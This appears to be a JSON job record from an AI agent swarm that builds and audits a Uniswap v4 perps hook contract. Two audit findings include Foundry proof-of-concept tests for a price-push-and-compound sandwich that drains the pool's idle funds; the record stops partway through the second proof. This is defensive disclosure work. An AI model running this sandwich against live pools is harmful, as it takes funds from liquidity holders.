{"assessments":[],"deployments":[],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"d07ab5c6-6017-4980-b5ae-248130f047cc","kind":"shape:chain","nodes":[{"acceptedSubmissionHash":"4a9d36c4fb158284d90eaa5bf60e663134bbb61f0740e73c09d3dacb03b292a7","dependsOn":["audit_imported_code"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"81b7052da6cdca6819abb4b1fb4924e31086633863b272c8ed89d9b24523ab82","skillId":"adapt-contract-project","tools":[]},"key":"adapt_contract_project","kind":"code","role":"implement","skillHash":"81b7052da6cdca6819abb4b1fb4924e31086633863b272c8ed89d9b24523ab82","skillId":"adapt-contract-project","state":"accepted"},{"acceptedSubmissionHash":"3ff82df3fa58d65023dabd1bda936188c26ec4b6029e4736a3cccbec3b1a1af8","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"ee228fd68303e3754cc894f0b1f91d5fe5931e2b4b21571627980b18878f499e","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"8ec1974f7ee67ae75758f8a99fee540f1fa8377e1fef5608718deaca3b955dc1","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"9897597976b0e72440db7ca402d225aea20f3d37205ba53e7df2400ff80f29cc","skillId":"audit-imported-code","tools":[]},"key":"audit_imported_code","kind":"code","role":"review","skillHash":"9897597976b0e72440db7ca402d225aea20f3d37205ba53e7df2400ff80f29cc","skillId":"audit-imported-code","state":"accepted"},{"acceptedSubmissionHash":null,"dependsOn":["adapt_contract_project","write_foundry_tests","manifest","audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","state":"failed"},{"acceptedSubmissionHash":"0e17187692945a0a95fafaec8a4608ee32ac84383f0550ae2fc8cda2792815ee","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"44c53f6a76a15b51d8ba578d3fc34c84f2fabd48cfb24469fd7ba9e4e32ccf18","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"1f27efc549015b9dc1ff86c1d2c218afe07aba8cd860b1fb02aac7d895227b89","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"tools":[]},"key":"manifest","kind":"code","role":"integrate","skillHash":null,"skillId":null,"state":"accepted"},{"acceptedSubmissionHash":"d182eabf6d107a415ef78adad8a79b0285dd46ac7b4ae4deccc7695f63cb5693","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"73431852439ad3a343f3d2b7db1c43cd363b9f48f9bb51497374a0cf6d50b223","skillId":"write-foundry-tests","tools":[]},"key":"write_foundry_tests","kind":"code","role":"tests","skillHash":"73431852439ad3a343f3d2b7db1c43cd363b9f48f9bb51497374a0cf6d50b223","skillId":"write-foundry-tests","state":"accepted"}],"objective":"Deploy IMD6900's in-pool perps hook and its pool on Robinhood Chain, exactly as they are in the repository: one contract, IMD6900PerpsLaunch (src/IMD6900PerpsLaunch.sol), with four constructor arguments in this order: 0x8366a39CC670B4001A1121B8F6A443A643e40951 (Uniswap v4's PoolManager on Robinhood Chain), 10000 (the pool's static fee, hundredths of a bip: 1%), 0x35da9c0303507ddf708e87f2568eddf12c47a059 (owner of the pool and the hook), 0x35da9c0303507ddf708e87f2568eddf12c47a059 (the hook's fee address). Its constructor creates IMD6900PerpPool, mines a CREATE2 salt from its own address until IMD6900PerpHook's address carries exactly the hook's permission flags (Uniswap v4 reads them from the address; nobody can mine for IMD's deployer in advance), creates the hook there, wires the pool to it and hands both to the owner. It calls nothing that existed before it, so it deploys the same on a fresh chain (test_DeploysOnAFreshChain); the whole launch, mining included, fits one transaction (test_FitsOneTransaction); no contract shows CALLCODE, DELEGATECALL or SELFDESTRUCT (test_PassesTheAdmissionScan). Do not change the hook's permissions, its fee handling or the constructor arguments: the flags must stay those IMD6900PerpsLaunch.FLAGS mines for (no return deltas, no dynamic fee, so Uniswap's router quotes the pool automatically). The perps engine is not part of this launch: the owner deploys it after opening the pool and wires it with setPerpEngine. The pool is opened by the owner after the coin launches on Pons (script/Owner.s.sol; the coin is IMD6900 at 0x69005D86d2c1bb1dFE70Df48e27D6aa02D044149, launched by IMD launch #1026), so nothing in this launch names the coin. The owner can always take all of the pool's liquidity back (removeLiquidity; the hook only checks the caller is the pool and the range is full), which is how a future hook replaces this one: keep that property. Everything builds offline (lib/ is vendored; v4-core's PoolManager is used by the tests only); test/RobinhoodFlow.fork.t.sol runs the whole flow on a Robinhood fork when ROBINHOOD_RPC_URL is set and skips otherwise. The previous run of this launch (job ea1c84c3) was audited by the swarm; every finding it raised is fixed in this commit and held by test/AuditFixes.t.sol (README: The IMD swarm's audit, fixed): check those fixes rather than re-raise them.","parentJobId":null,"planHash":"60b96b3902ffebf548ef29e95521f0ca47b8607273dcffd2d0200186755cf95d","previousHash":"0000000000000000000000000000000000000000000000000000000000000000","projectId":"d07ab5c6-6017-4980-b5ae-248130f047cc","publication":{"commit":null,"deliveredAt":null,"repoUrl":"https://github.com/identity-md-launches/launch-1241-imd6900perpslaunch"},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[{"agentId":"51185","feedbackHash":"3f9cec4c06d45e9221b5fdf919742a66bfeb9e74a29cd8ac418851e9ee4bf803","nodeKey":"adapt_contract_project","submissionHash":"4a9d36c4fb158284d90eaa5bf60e663134bbb61f0740e73c09d3dacb03b292a7","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"52287","feedbackHash":"5c99703a3e29bbdb4a21749e6df2ce8f95786825c5e79f7298fe618426c2904a","nodeKey":"audit_economics","submissionHash":"3ff82df3fa58d65023dabd1bda936188c26ec4b6029e4736a3cccbec3b1a1af8","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52286","feedbackHash":"564f4f97c10a6ca949f53df197d05f33d635708ee8be4eb5178e131675d9b4e6","nodeKey":"audit_flow","submissionHash":"ee228fd68303e3754cc894f0b1f91d5fe5931e2b4b21571627980b18878f499e","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51557","feedbackHash":"c4ea2cf59a6349dc58749d87ea252b6329696e4f26305cae7fcc174d6d570ce7","nodeKey":"audit_imported_code","submissionHash":"8ec1974f7ee67ae75758f8a99fee540f1fa8377e1fef5608718deaca3b955dc1","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"50976","feedbackHash":"cc330a89c12f6ba54ac2ef8c8337f49982e20f718aafe0de89501237a85a1450","nodeKey":"audit_math","submissionHash":"0e17187692945a0a95fafaec8a4608ee32ac84383f0550ae2fc8cda2792815ee","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52270","feedbackHash":"7c2439f6114b7d6ef90b8847a393ff42fdbd5f467a3a7725c114651ff3f89078","nodeKey":"audit_permissions","submissionHash":"44c53f6a76a15b51d8ba578d3fc34c84f2fabd48cfb24469fd7ba9e4e32ccf18","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51176","feedbackHash":"6c93bb54f58f3b0f061a4579274c2c91e9f7d0b118e575bff20103814b85ea1f","nodeKey":"manifest","submissionHash":"1f27efc549015b9dc1ff86c1d2c218afe07aba8cd860b1fb02aac7d895227b89","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51211","feedbackHash":"4c18467600a85aed6c4697b2291f2ee12b2129d46d6ff4b46c6a996ef3dd78d4","nodeKey":"write_foundry_tests","submissionHash":"d182eabf6d107a415ef78adad8a79b0285dd46ac7b4ae4deccc7695f63cb5693","tag1":"verification:checks","tag2":"acceptance-v2","value":1}],"site":null,"snapshotHash":"22af018257a79858012f75a1078af5f3f0f61fef15be52d30b603b6a8c495c5a","state":"blocked","submissions":[{"artifacts":[],"attempt":1,"bundleHash":null,"device":"9b06782c7559b54c","findings":[{"citation":"resolved","description":"Seam: boundary x invariant (Numerical Gap guide, seam 3). IMD6900PerpHook._deviation() uses 0 as a sentinel for 'the Pons reference could not be read' (ref == 0), but 0 is also the legitimate value for 'the pool is exactly on the Pons price'. deviationBps() therefore reports 0 bps whenever ponsPriceX96() is 0, and IMD6900PerpPool.compound() (src/IMD6900PerpPool.sol:213-214: `uint256 dev = IBandView(hook).deviationBps(); if (dev > COMPOUND_MAX_DEV_BPS) revert OffPons(dev);`) passes its 1% check unconditionally. The ea1c84c3 fix 'compound() pairs the pool's idle funds only within 1% of the Pons price' (README) and its regression test test_Fix_CompoundOnlyAtThePonsPrice only cover a readable reference. ponsPriceX96() is 0 in reachable states that are not owner mistakes: (a) the Pons curve has graduated but the factory's launch record is not yet phase 2 / PoolCreated (_graduatedPriceX96 line 311 returns 0; the hook's own comment says 'before that there is no pool to read'); (b) Pons' graduated pool exists but its slot0 sqrtPrice is 0 (line 319); (c) the curve's reserves are (0, x) or (x, 0) (line 300); (d) mulDiv(t, Q96, q) rounds to 0; (e) any revert inside the read (broken or re-pointed curve, factory, memeHook) is swallowed by the try in ponsPriceX96(). In every one of these the band is also off (_checkBand line 441 returns on ref == 0, documented), so the attacker can move the pool's price arbitrarily, call compound() to pair the pool's idle ETH and coin (its 10% creator-fee share from Owner.s.sol wire(), donated coin, earned LP fees) at the pushed price, and trade back against the deeper, mispriced liquidity. The pool's own 1% fee does not cover the loss: with 2 ETH of depth and 1 ETH + 1e27 coin idle, a 2 ETH push / compound / sell-back nets the attacker +0.1874 ETH and the pool's idle funds are what paid it. It repeats every time idle funds accumulate while the reference is 0. Mathematically the same conflation also hides an off-scale pool from compound when ref == 0 (pool_ == 0 would otherwise return OFF_SCALE). Minimal fix preserving the design: compound() must refuse when the reference is unreadable (e.g. revert OffPons when IBandView(hook).ponsPriceX96() == 0, or have deviationBps() return OFF_SCALE for ref == 0 and keep _checkBand's own ref == 0 early return). The attached proof passes with either.","line":341,"path":"src/IMD6900PerpHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {IMD6900PerpsLaunch} from \"src/IMD6900PerpsLaunch.sol\";\nimport {IMD6900PerpHook, PonsLaunchedToken} from \"src/IMD6900PerpHook.sol\";\nimport {IMD6900PerpPool} from \"src/IMD6900PerpPool.sol\";\n\ncontract Coin {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address to, uint256 a) external { balanceOf[to] += a; }\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;\n        balanceOf[f] -= a; balanceOf[to] += a; return true;\n    }\n}\n\n/// A Pons factory whose launch record says: graduated, pool not created yet (phase 1, \"before that there is no pool to read\")\ncontract PonsFactoryBetweenPhases {\n    address immutable coin;\n    constructor(address coin_) { coin = coin_; }\n    function memeHook() external pure returns (address) { return address(0); }\n    function getLaunchedToken(address) external view returns (PonsLaunchedToken memory l) {\n        l.token = coin;\n        l.exists = true;\n        l.phase = 1;\n    }\n}\n\n/// A Pons curve that has graduated: its reserves are no longer the market, and its pool is not open yet\ncontract GraduatedCurve {\n    address public token;\n    address public factory;\n    constructor(address token_, address factory_) { token = token_; factory = factory_; }\n    function getReserves() external pure returns (uint256, uint256) { return (1 ether, 1e27); }\n    function graduated() external pure returns (bool) { return true; }\n    function pairToken() external pure returns (address) { return address(0); }\n}\n\ncontract Attacker {\n    IPoolManager immutable pm;\n    PoolKey key;\n    constructor(IPoolManager pm_) { pm = pm_; }\n    function swap(PoolKey calldata k, bool buy, int256 amountSpecified) external returns (BalanceDelta d) {\n        key = k;\n        d = abi.decode(pm.unlock(abi.encode(buy, amountSpecified)), (BalanceDelta));\n    }\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (bool buy, int256 amt) = abi.decode(data, (bool, int256));\n        BalanceDelta d = pm.swap(key, SwapParams(buy, amt, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), \"\");\n        _settle(key.currency0, d.amount0());\n        _settle(key.currency1, d.amount1());\n        return abi.encode(d);\n    }\n    function _settle(Currency c, int128 v) internal {\n        if (v < 0) {\n            if (c.isAddressZero()) pm.settle{value: uint128(-v)}();\n            else { pm.sync(c); Coin(Currency.unwrap(c)).transfer(address(pm), uint128(-v)); pm.settle(); }\n        } else if (v > 0) pm.take(c, address(this), uint128(v));\n    }\n    receive() external payable {}\n}\n\n/// compound()'s 1% Pons guard reads deviationBps(), and IMD6900PerpHook._deviation() returns 0 when the reference is 0.\n/// A zero reference (the curve graduated, Pons' pool not created yet; or any unreadable reference) is therefore read\n/// as \"exactly on price\", and compound pairs the pool's idle funds at whatever spot price a caller has just pushed:\n/// the sandwich the ea1c84c3 fix (COMPOUND_MAX_DEV_BPS) was meant to close. Fixed when compound refuses a zero reference.\ncontract CompoundNoReferenceTest is Test {\n    IPoolManager PM;\n    address constant OWNER = address(0xA11CE);\n    IMD6900PerpHook hook; IMD6900PerpPool pool; Coin coin; GraduatedCurve curve; Attacker attacker;\n    PoolKey key;\n\n    function setUp() public {\n        PM = IPoolManager(address(new PoolManager(address(this))));\n        IMD6900PerpsLaunch l = new IMD6900PerpsLaunch(PM, 10_000, OWNER, OWNER);\n        hook = l.hook(); pool = l.pool();\n        coin = new Coin();\n        PonsFactoryBetweenPhases f = new PonsFactoryBetweenPhases(address(coin));\n        curve = new GraduatedCurve(address(coin), address(f));\n        coin.mint(OWNER, 2e27);\n        vm.deal(OWNER, 10 ether);\n        vm.startPrank(OWNER);\n        coin.approve(address(pool), type(uint256).max);\n        pool.open{value: 2 ether}(address(coin), address(curve), uint160(31_622) << 96, 2e27);\n        vm.stopPrank();\n        key = pool.poolKey();\n        attacker = new Attacker(PM);\n        vm.deal(address(attacker), 100 ether);\n        coin.mint(address(attacker), 1e28);\n        // the pool's idle funds: its share of the coin's creator fees (10% of them, per Owner.s.sol wire()) and donated coin\n        vm.deal(address(pool), 1 ether);\n        coin.mint(address(pool), 1e27);\n    }\n\n    function test_ZeroReferenceDisarmsTheCompoundGuard() public {\n        // the Pons curve graduated, its pool is not created yet: the reference reads 0\n        assertEq(hook.ponsPriceX96(), 0, \"no reference\");\n        assertEq(hook.deviationBps(), 0, \"_deviation reports a missing reference as 0 bps: exactly on price\");\n\n        // 1. the attacker pushes the pool's price by ~4x (the band is off too: _checkBand returns on ref == 0)\n        uint256 price0 = hook.poolPriceX96();\n        attacker.swap(key, true, -2 ether);\n        uint256 price1 = hook.poolPriceX96();\n        emit log_named_uint(\"coin per ETH before the push\", price0 >> 96);\n        emit log_named_uint(\"coin per ETH after the push\", price1 >> 96);\n        assertLt(price1 * 3, price0, \"the pool now prices the coin at least 3x dearer than it did\");\n\n        // 2. compound() should refuse: the pool is nowhere near a Pons price it can read. Instead it pairs 1 ETH + coin at the pushed price.\n        uint128 liq0 = pool.liquidity();\n        bool paired;\n        try pool.compound(0, 0) returns (uint128 added) {\n            paired = added != 0;\n        } catch {}\n        assertFalse(paired, \"compound paired the pool's idle funds with no Pons price to check them against\");\n        assertEq(pool.liquidity(), liq0, \"liquidity was added at the pushed price\");\n    }\n\n    /// The same sequence, run to the end, to show who pays: the attacker ends with more ETH than it began with, the\n    /// pool's idle ETH is what it came from.\n    function test_SandwichProfitsFromThePoolsIdleFunds() public {\n        uint256 ethBefore = address(attacker).balance;\n        uint256 coinBefore = coin.balanceOf(address(attacker));\n        BalanceDelta d = attacker.swap(key, true, -2 ether);\n        uint256 gotCoin = uint256(uint128(d.amount1()));\n        try pool.compound(0, 0) {} catch {}\n        attacker.swap(key, false, -int256(gotCoin));\n        uint256 ethAfter = address(attacker).balance;\n        emit log_named_int(\"attacker ETH delta (wei)\", int256(ethAfter) - int256(ethBefore));\n        assertEq(coin.balanceOf(address(attacker)), coinBefore, \"the coin round-trips\");\n        assertLe(ethAfter, ethBefore, \"a round trip through a 1% pool paid the trader out of the pool's idle funds\");\n    }\n}","reproduction":"State: pool opened by the owner at 1e9 coin/ETH with 2 ETH + 2e27 coin (as in test/AuditFixes.t.sol), holding 1 ETH and 1e27 coin idle (vm.deal / mint onto the pool, standing in for fee-split receipts). pool.curve() points at a curve whose graduated() is true and whose factory's getLaunchedToken(coin) returns exists=true, phase=1 (graduated, pool not created). Then hook.ponsPriceX96() == 0 and hook.deviationBps() == 0. Attacker (any address): 1) swap zeroForOne exact-in 2 ETH: pool price goes from 999_950_884 to 252_506_473 coin/ETH (~4x), no TooFarFromPons because ref == 0; 2) pool.compound(0,0): expected revert OffPons, actual returns liquidity 15_890_452_261_306_559_982_290 and the pool's 1 ETH + coin are paired at the pushed price; 3) swap oneForZero exact-in the coin received in step 1. Expected: a round trip through a 1% pool costs the attacker ETH. Actual: attacker ETH balance 100 ether -> 100.187413117604971763 ether (+0.1874 ETH), coin balance unchanged; the pool's idle ETH is gone into mispriced liquidity. Run: forge test --match-path test/scratch/CompoundNoReference.t.sol (both tests fail on the current code; both pass after making compound() revert when ponsPriceX96() == 0).","severity":"medium","snippet":"        if (ref == 0) return 0;\n        if (pool_ == 0) return OFF_SCALE;","title":"compound()'s 1% Pons guard is disarmed whenever the reference reads 0: _deviation returns 0 for 'no reference', the same value as 'exactly on price', so a caller can push the price and compound the po"},{"citation":"resolved","description":"Boundary guide, sentinel-address branch. The ea1c84c3 fix 'No zero fee address' guards only updateFeeAddress (line 254, ZeroAddress). The constructor (line 187) stores feeAddress_ unchecked, and flush() (lines 274-276) computes toFeeAddress = amount * 3 / 100 and SafeTransferLib.safeTransferETH(feeAddress, toFeeAddress) to it: a plain CALL to address(0) succeeds, so 3% of each flush is burned and the FeesFlushed event reports it as paid. Only renounceFeeAddress() can repair it (it rewrites feeAddress = launcher); updateFeeAddress works too since it only rejects the new value being zero. This launch passes 0x35da9c0303507ddf708e87f2568eddf12c47a059 as the fee address, so it is not affected; it matters for the launch-contract's reuse (test/LaunchAuditFixes.t.sol constructs launches with other arguments) and as a gap in the recorded fix. Minimal fix: revert ZeroAddress() in the constructor when feeAddress_ == address(0) (the launch constructor can keep its arguments).","line":187,"path":"src/IMD6900PerpHook.sol","reproduction":"new IMD6900PerpsLaunch(PM, 10_000, OWNER, address(0)) deploys (expected: revert ZeroAddress like updateFeeAddress(address(0))); hook.feeAddress() == address(0). vm.deal(hook, 1 ether); hook.flush(): expected 1 ether to the pool (or a revert), actual 0.97 ether to the pool and address(0).balance grows by 0.03 ether. test/scratch/Rounding.t.sol::test_ZeroFeeAddressBurnsThreePercent asserts exactly this and passes on the current code.","severity":"low","snippet":"        feeAddress = feeAddress_;","title":"The hook's constructor accepts a zero fee address (updateFeeAddress rejects it, the constructor does not): with feeAddress == address(0), flush() burns 3% of every forwarded amount"}],"hash":"0e17187692945a0a95fafaec8a4608ee32ac84383f0550ae2fc8cda2792815ee","nodeId":"07d08d38-2ac5-49de-96ed-e408c9e26d33","outcome":"completed","summary":"The findings file and the scratch tests are excluded by the harness on purpose, so the tracked tree is clean. The review is complete.\n\n**Result: one medium and one low finding, written to `.imd-findings.json` with a coverage row for all 41 entry points plus three invariants.**\n\n**Finding 1 (medium, with proof).** The hook's deviation helper returns 0 bps when the Pons reference reads 0, the same value it returns for a pool exactly on price. The pool's `compound` guard only checks that number, so whenever the reference is unreadable the 1% guard from the previous audit's fix is silently off. That state is reachable without owner error: the hook itself returns 0 when the curve has graduated but the Pons pool record is not yet phase 2, when that pool's price is 0, when curve reserves are zero, or when any read reverts. The band is off in the same states, so a stranger can push the pool price 4x, call `compound` to pair the pool's idle fee receipts at that price, and sell back. Measured on a real PoolManager: the attacker gains 0.187 ETH out of 1 ETH of idle funds in one round trip. The proof at `test/scratch/CompoundNoReference.t.sol` fails on the current code and passes after a two-line fix that makes `compound` refuse a zero reference, which I applied temporarily and then reverted.\n\n**Finding 2 (low).** The hook constructor accepts a zero fee address although `updateFeeAddress` rejects one, and `flush` then burns 3% of every forwarded amount. This launch's arguments are non-zero, so it does not affect the deployment as specified.\n\n**What holds, verified rather than assumed.** Full-range liquidity rounding never draws on the pool's idle balance or over-refunds, fuzzed across six prices from 0.001 to 1e12 coin per ETH. The graduated-pool reference and the hook's own price are on the same X96 scale. The band's integer bps buckets bound any out-of-band crawl to under 1 bps. The CREATE2 mining preimage, mask and flag consistency, the sweep's gas arithmetic, and the unlock callback's principal-versus-fees accounting all check out.\n\n**Not reachable offline.** Whether Pons really exposes a window between graduation and pool creation, and whether its `getReserves` order and the coin's transfer behaviour match the hook's assumptions, can only be confirmed on a Robinhood fork.","treeHash":null,"usage":{"cachedInputTokens":2436321,"inputTokens":578,"model":"claude-fable-5-1","outputTokens":59428,"runtime":"claude","turns":38,"wallClockMs":1050107}},{"artifacts":[],"attempt":1,"bundleHash":"6da0a57c1bf5738c1adf3b265c94e5835733394b72bf4a7e4e3ff9ef3d5d6a44","device":"75b4fcc4e4ca5d9b","findings":[],"hash":"1f27efc549015b9dc1ff86c1d2c218afe07aba8cd860b1fb02aac7d895227b89","nodeId":"a466c772-7567-46f0-9208-2aa7e76eff2f","outcome":"completed","summary":"Created [launch.json](/home/levi/imd/p7/work/d07ab5c6-6017-4980-b5ae-248130f047cc/a466c772-7567-46f0-9208-2aa7e76eff2f/launch.json) with the single launch contract, approved arguments, and required `$owner` reference.\n\nValidation passed against the compiled ABI. Offline `forge build` succeeded; `forge test` reported 34 passed, 0 failed, and 1 fork suite skipped because `ROBINHOOD_RPC_URL` was unset.\n\nOnly `launch.json` changed outside scratch space.","treeHash":"874e561557fe5fbc05b36347593c54f2b6475b86","usage":{"cachedInputTokens":391168,"inputTokens":38932,"model":"gpt-6-astra","outputTokens":3695,"runtime":"codex","turns":4,"wallClockMs":152119}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"99c6d0bcc495ad61","findings":[{"citation":"resolved","description":"The ea1c84c3 fix makes compound() pair the pool's idle ETH and coin only within 1% of the Pons price, so a caller who just pushed the pool's price cannot buy that pairing cheap. The guard is hook.deviationBps(), which is _deviation(poolPriceX96(), ponsPriceX96()), and _deviation returns 0 whenever the reference is 0 (src/IMD6900PerpHook.sol:341 `if (ref == 0) return 0;`). ponsPriceX96() is 0 in every state where the Pons market cannot be read: the curve has graduated but the factory's launch is not yet in phase 2 (`if (!l.exists || l.phase != 2) return 0;`), any revert in the curve/factory/pool reads (the try/catch), zero curve reserves, or a Pons pool whose slot0 is unset. In exactly those states the band is also off (by design: 'an unreadable reference turns the band off, never halts trading'), so nothing limits how far a trader may push the pool, and compound() then treats deviation 0 as 'on price'. An unprivileged caller can therefore: sell coin into the pool to push coin-per-ETH up several times, call compound(0,0) so the pool pairs its idle coin with its idle ETH at that pushed price, then buy the coin back through the newly added liquidity. The round trip pays the caller out of the pool's idle funds; the pool's liquidity ends mispriced and lighter. The condition is not owner-induced: graduating the Pons curve is a matter of buying through its 4.2 ETH threshold, and whether Pons creates the graduated pool in the same transaction as graduation could not be verified offline (Pons' code is not in the tree), so the window's length on the live chain is unconfirmed; the hook's own code explicitly expects a phase-1 'no pool yet' state. Minimal fix that keeps the design: compound() must refuse to run when ponsPriceX96() == 0 (the owner's sweepIdle already covers recovery without a reference), e.g. `if (dev > COMPOUND_MAX_DEV_BPS || IBandView(hook).ponsPriceX96() == 0) revert OffPons(dev);` with ponsPriceX96 added to IBandView. With that patch the attached test passes (attacker ends 0.03 ETH down, the pool 0.03 ETH up).","line":213,"path":"src/IMD6900PerpPool.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {IMD6900PerpsLaunch} from \"src/IMD6900PerpsLaunch.sol\";\nimport {IMD6900PerpHook, PonsLaunchedToken} from \"src/IMD6900PerpHook.sol\";\nimport {IMD6900PerpPool} from \"src/IMD6900PerpPool.sol\";\n\ncontract ScratchCoin {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address to, uint256 a) external { balanceOf[to] += a; }\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;\n        balanceOf[f] -= a; balanceOf[to] += a; return true;\n    }\n}\n\n/// The Pons factory as the hook reads it after graduation: the launch exists, but its pool is not created yet\n/// (phase 1), so there is nothing to read a price from\ncontract ScratchPonsFactory {\n    address immutable coin;\n    constructor(address coin_) { coin = coin_; }\n    function memeHook() external pure returns (address) { return address(0); }\n    function getLaunchedToken(address) external view returns (PonsLaunchedToken memory l) {\n        l.token = coin; l.exists = true; l.phase = 1;\n    }\n}\n\n/// A Pons bonding curve: prices while trading; once anyone buys it through its threshold it graduates, its reserves are\n/// swept, and until Pons creates the graduated pool the hook reads no reference at all\ncontract ScratchCurve {\n    uint256 public q; uint256 public t; address public token; address public factory; bool public graduated;\n    constructor(address token_, address factory_, uint256 q_, uint256 t_) { token = token_; factory = factory_; q = q_; t = t_; }\n    function graduate() external { graduated = true; q = 0; t = 0; }\n    function getReserves() external view returns (uint256, uint256) { return (q, t); }\n    function pairToken() external pure returns (address) { return address(0); }\n}\n\ncontract ScratchTrader {\n    IPoolManager immutable pm; PoolKey key;\n    constructor(IPoolManager pm_) { pm = pm_; }\n    function swap(PoolKey calldata k, bool buy, int256 amountSpecified) external returns (BalanceDelta d) {\n        key = k;\n        d = abi.decode(pm.unlock(abi.encode(buy, amountSpecified)), (BalanceDelta));\n    }\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (bool buy, int256 amt) = abi.decode(data, (bool, int256));\n        BalanceDelta d = pm.swap(key, SwapParams(buy, amt, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), \"\");\n        _settle(key.currency0, d.amount0());\n        _settle(key.currency1, d.amount1());\n        return abi.encode(d);\n    }\n    function _settle(Currency c, int128 v) internal {\n        if (v < 0) {\n            if (c.isAddressZero()) pm.settle{value: uint128(-v)}();\n            else { pm.sync(c); 